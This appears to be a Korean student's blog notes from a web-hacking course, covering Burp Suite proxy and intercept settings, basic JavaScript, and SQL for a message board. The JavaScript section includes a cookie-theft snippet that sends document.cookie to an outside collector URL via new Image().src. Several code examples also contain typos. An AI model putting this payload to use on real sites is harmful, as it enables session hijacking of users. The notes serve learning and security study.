4주차 Burp Suite 게시판
Burp Suite
- Web Proxy Tool
- 중간자 역할 웹서버와 클라이언트사이에 오고가는 패킷을 캐치라고 전달한다
- Proxy | Repeater | Decorder | Comparer
-> Next -> usedefault burf -> start
PROXY
- 통신하는 패킷을 하나하나 직접 보고 중간에서 데이터를 고칠 수 있다
- 다른 서버의 통신을 내 서버를 거쳐가게 할 수 있다. 어떤 응답과 통신 하는지 알수있다 앱 해킹할때 용이
PROXY Listener
- Proxy tool 웹서버와 클라이언트의 데이터통신의 전달자! 대신해주는 역할
- Listener가 대신 통신하는 역할이고 프록시의 핵심이다!
- Proxy 없으면 웹서버 <-> 클라이언트 | Proxy 있으면 웹서버 <-> 리스너 <-> 클라이언트 로 통신
-> Proxy
-> Intercept | HTTP history | WebSockets history | Proxy settings
-> Proxy settings
-> 왼쪽 라인에 All -> Tools -> proxy -> proxy listener -> add
서버에서 정보 전달받으려면 귀를 열고있어야하니까 proxy 리스너를 생성해준다.
-> Bind to port 포트번호는 마음대로 설정해도 된다.
-> Loopback only | All interfaces | Specific address
Loopback only 내컴퓨터와 웹서버에서만 패킷을 볼 때
All interfaces 모든 다른클라이언트와 서버의 통신을 볼 때 내 컴퓨터를 통해서 패킷을 전달하고 보려고
Specific address 특정한 아이피의 통신을 볼때
그대신 웹사이트도 프록시가 켜져있어야 한다
PROXY Intercept
- 프록시의 정보를 Intercept한다
- 프록시 패킷을 멈추고 캐치해서 웹서버에 전달하는 것을 막고 볼 수 있다.
-> Proxy
-> Proxy Intercept
-> Forward | Drop | Intercept is on/off | Action | Open browser
Forward 패킷전송
Drop 패킷전송 중지
Intercept is on/off 패킷 캐치후 변조또는 확인
-> 프록시로 값을 변조해서 넣을 때 띄어쓰기는 +로 대체해서 사용한다
-> html 코드를 보고싶을때는 우측클릭 -> Do intercept -> Response to this request
-> method 를 바꾸고싶을 때는 우측클릭 -> Change request method
Action ?
Open browser 인터넷 설정에서 프록시 세팅 필요 없이 해당 browser proxy 가능
그러나 백신세팅할때는 따로 프록시 세팅 해야한다
PROXY HTTP history
- 버프받은 데이터 요청들이 쌓여있는 것을 보여준다.
- 데이터를 주고받는 과정을 순서대로 볼 수 있다.
- 로그인 과정을 분석하고 싶을때 사용가능
-> PROXY
-> HTTP history
-> Request | Response
-> Request
http protocol 뒤에 web method post/get 등 데이터를 보낼 양식에 맞추어서 보냄.
그다음에 출력되어있는게 헤더 헤더에서는 cookie를 찾는게 중요하다.
Response
응답헤더 date/server/content-length 등
응답헤더 다음줄은 빈줄
빈줄 다음은 body 순으로 출력
REPEATER
- 같은 값을 임의로 바꿔서 서버로 보내진 값을 확인 할 수 있다.
DECODER
- 인코딩, 디코딩 할 수 있다 암호화, 복호화 가능
-> Decoder
-> 오른쪽 Decoder as | Incoder as 로 설정
COMPARER
- 코드의 바뀐부분 찾기
-> Comparer
-> Paste
-> Words
-> Sync views
++
Burf Suite 설정
버프 한글설정.
프록시설정
-> user
-> user interface
-> inspecter and message editor
->http message display 한글글꼴
-> character sets user the flatform defalut utf-8
- http를 쓰려고해서 생기는 오류
-> Proxy
-> Proxy settings
-> All -> Tools -> Proxy
-> Response midification rules -> Convert HTTPS links to HTTP 체크박스 체크
-> Proxy
-> Intercept -> Request ~~~ 우측클릭
-> Use HTTPS 체크박스 해제 -> OK
-response수정하기
-> Proxy
-> Proxy settings
-> All -> Tools -> Proxy
-> Response intercept rules -> Add
-> Boolean operater : And
-> Match type : HTTP method
-> Match relationship : Matches
-> Match condition : (get|post) -> get으로 변경
-> Enabled 체크박스 체크
-> Proxy
-> Intercept
-> Raw -> 오른쪽 클릭
-> Do intercept -> Response to this request -> Forward 누르면 response나온다
- 리피터의 달라진 부분 보기
-> Repeater
-> Request / Response 좌측 하단 톱니바퀴버튼 클릭
-> Auto-scroll to match when text changes 체크박스 체크
JAVASCRIPT
ALERT
- 팝업 출력
EX)
<html>
<script>alert("출력하고싶은 값");</script>
</html>
VAR/LET
- 변수설정
- 숫자는 그냥, 문자열은 따옴표' ' 붙여준다
EX)
<script>
var a = 123;
let b = 123;
var c = 'test';
let d = 'test';
</script>
CONST
- 상수설정
- 값을 다시 변경시킬 수 없다
EX)
<script>
const a = 123;
a = 'test'; // Error
</script>
CONSOLE.LOG/ALERT/PROMPT/CONFIRM
-변수 출력
EX)
<script>
let data = "test"; //data=test로 변수설정
console.log(data); //콘솔에 출력
alert(data); //경고창에 출력
prompt(data); //입력창에 출력해서 입력값 받
confirm(data); //확인창에 출력해서 확인여부 값 받음
</script>
IF/ELSE
- 조건문 IF문 안의 조건이 참일때 안의 내용이 실행된다
EX)
<script>
let data = 'test'; //data = test 변수설정
if(data == 'test') { //data와 test 값이 같을때 Console.log로 Same 출력
console.log("Same");
}else{ //data와 test 값이 같지 않을때 console.log로 Not Same 출력
console.log("Not Same");
}
</script>
FOR
- 조건이 만족하면 반복 조건이 만족하지 않을때까지
EX)
<script>
for(var i = 0; i < 10; i ++ { // i=0부터 시작해서 반복할때마다 i가 1씩 증가하고 그 값을 출 i=10보다 커지면 멈춘다.
console.log(i);
}
</script>
FOR OF
- 정의된 변수 배열의 처음부터 끝까지 반복
EX)
<script>
let arr = ['1'. '2', '3']; //배열 1 2 3 선택
for(let element of arr) { //elment값을 1 2 3순으로 대입하며 colsole.log 출력 반복
console.log(elment);
}
</script>
FOR IN
- 정의된 key 와 value를 따로 저장하고 이를 차례대로 값을 넣어 반복
EX)
<script>
let info = {name:"normaltic", score:"100", userid:"normaltic"} //info 에 key : value를 저장
for(let key in info){ console.log(key + " : " + info[key]); }
// 저 값을 차례대로 할당하면서 key : info[key] 순으로 출력된다
//key 는 key 값 name,score,userid info[key]값은 value값 normaltic, 100, normaltic
</script>
결과값)
name: "normaltic"
score: "100"
userid: "normaltic" 로 출력
document.cookie
-쿠키값 가져오기
- Hijack Session ID
- 세션아이디라는 쿠키 탈취
EX)
<script>
var cookieData = document.cookie; //쿠키데이터 cookiedata라는 변수에 저장
</script>
XMLHttpRequest();
-데이터 보내기
<script>
const Http = new XMLHttpRequest();
const url = 'https://normaltic.com/test.php';
Http.open('GET', url); //normaltic.com/test.php 이라는 url에서 get요청가져오기
Http.send(); //보내기
Http.onreadystatechange = (e) => { //readyState가 변경되면
console.log(Http.responseText); //콘솔에 응답데이터 출력
};
</script>
new Image().src
-쿠키데이터 넣어서 보내기
<script>
var cookieData = document.cookie; //쿠키데이터 탈취
var attackURL = "http://normaltic.com/getCred.php?cookie=";
new Image().src = attackURL + cookieData; //탈취한 쿠키코드를 url에 넣어서 이미지를 동적으로 로
</script>
게시판 구현
- 게시판에 글작성 : insert 문을 사용한다
- 게시판 글 리스트 보기 : select
- 게시판 글 내용 읽기 : select
- 게시판 글 수정 : update마이페이지 정보수정
- 게시판 글 삭제 : delete
게시판의 페이징(페이지네이션)
- 목록 전체를 구현하지 않고 1-8 처럼 일부만 출력된다.
- limit 사용
EX)
select * from board limit 0,10
-> select * from board limit 0,10 0번째부터 10개까지가져오기
-> limit [index], [count]
게시글 검색
select * from board where title like '%normaltic%'
-> select * from board where title like 'normaltic' 정확한 normaltic이라는 단어 그자체가 들어간걸 찾는다
-> %normaltic%를 쓰면 저글자가 들어간! nnnormalticccccc까지 찾음
-> %normaltix nnnnnnnnnnnnnormaltic 찾음
-> normaltic% normalticcccccccccccccc 찾음
게시글 오름차/내림차
-> order by [column이름 [asv(오름차)/desc[내림차] 지정할수있다
'개념정리' 카테고리의 다른 글
6주차 UNION SQL INJECTION/ORDER BY/LIMIT/LIKE (1) | 2023.11.30 |
---|---|
5주차 SQL INJECTION 쿠키조작/인증우회 (1) | 2023.11.29 |
3주차 로그인 로직 식별/인증 HASH COOKIE/SESSION (2) | 2023.11.20 |
2주차 DB PHP로 생성 / 출력 / 입력 / SQL / Docker (0) | 2023.11.09 |
1주차 웹 GET POST (0) | 2023.11.09 |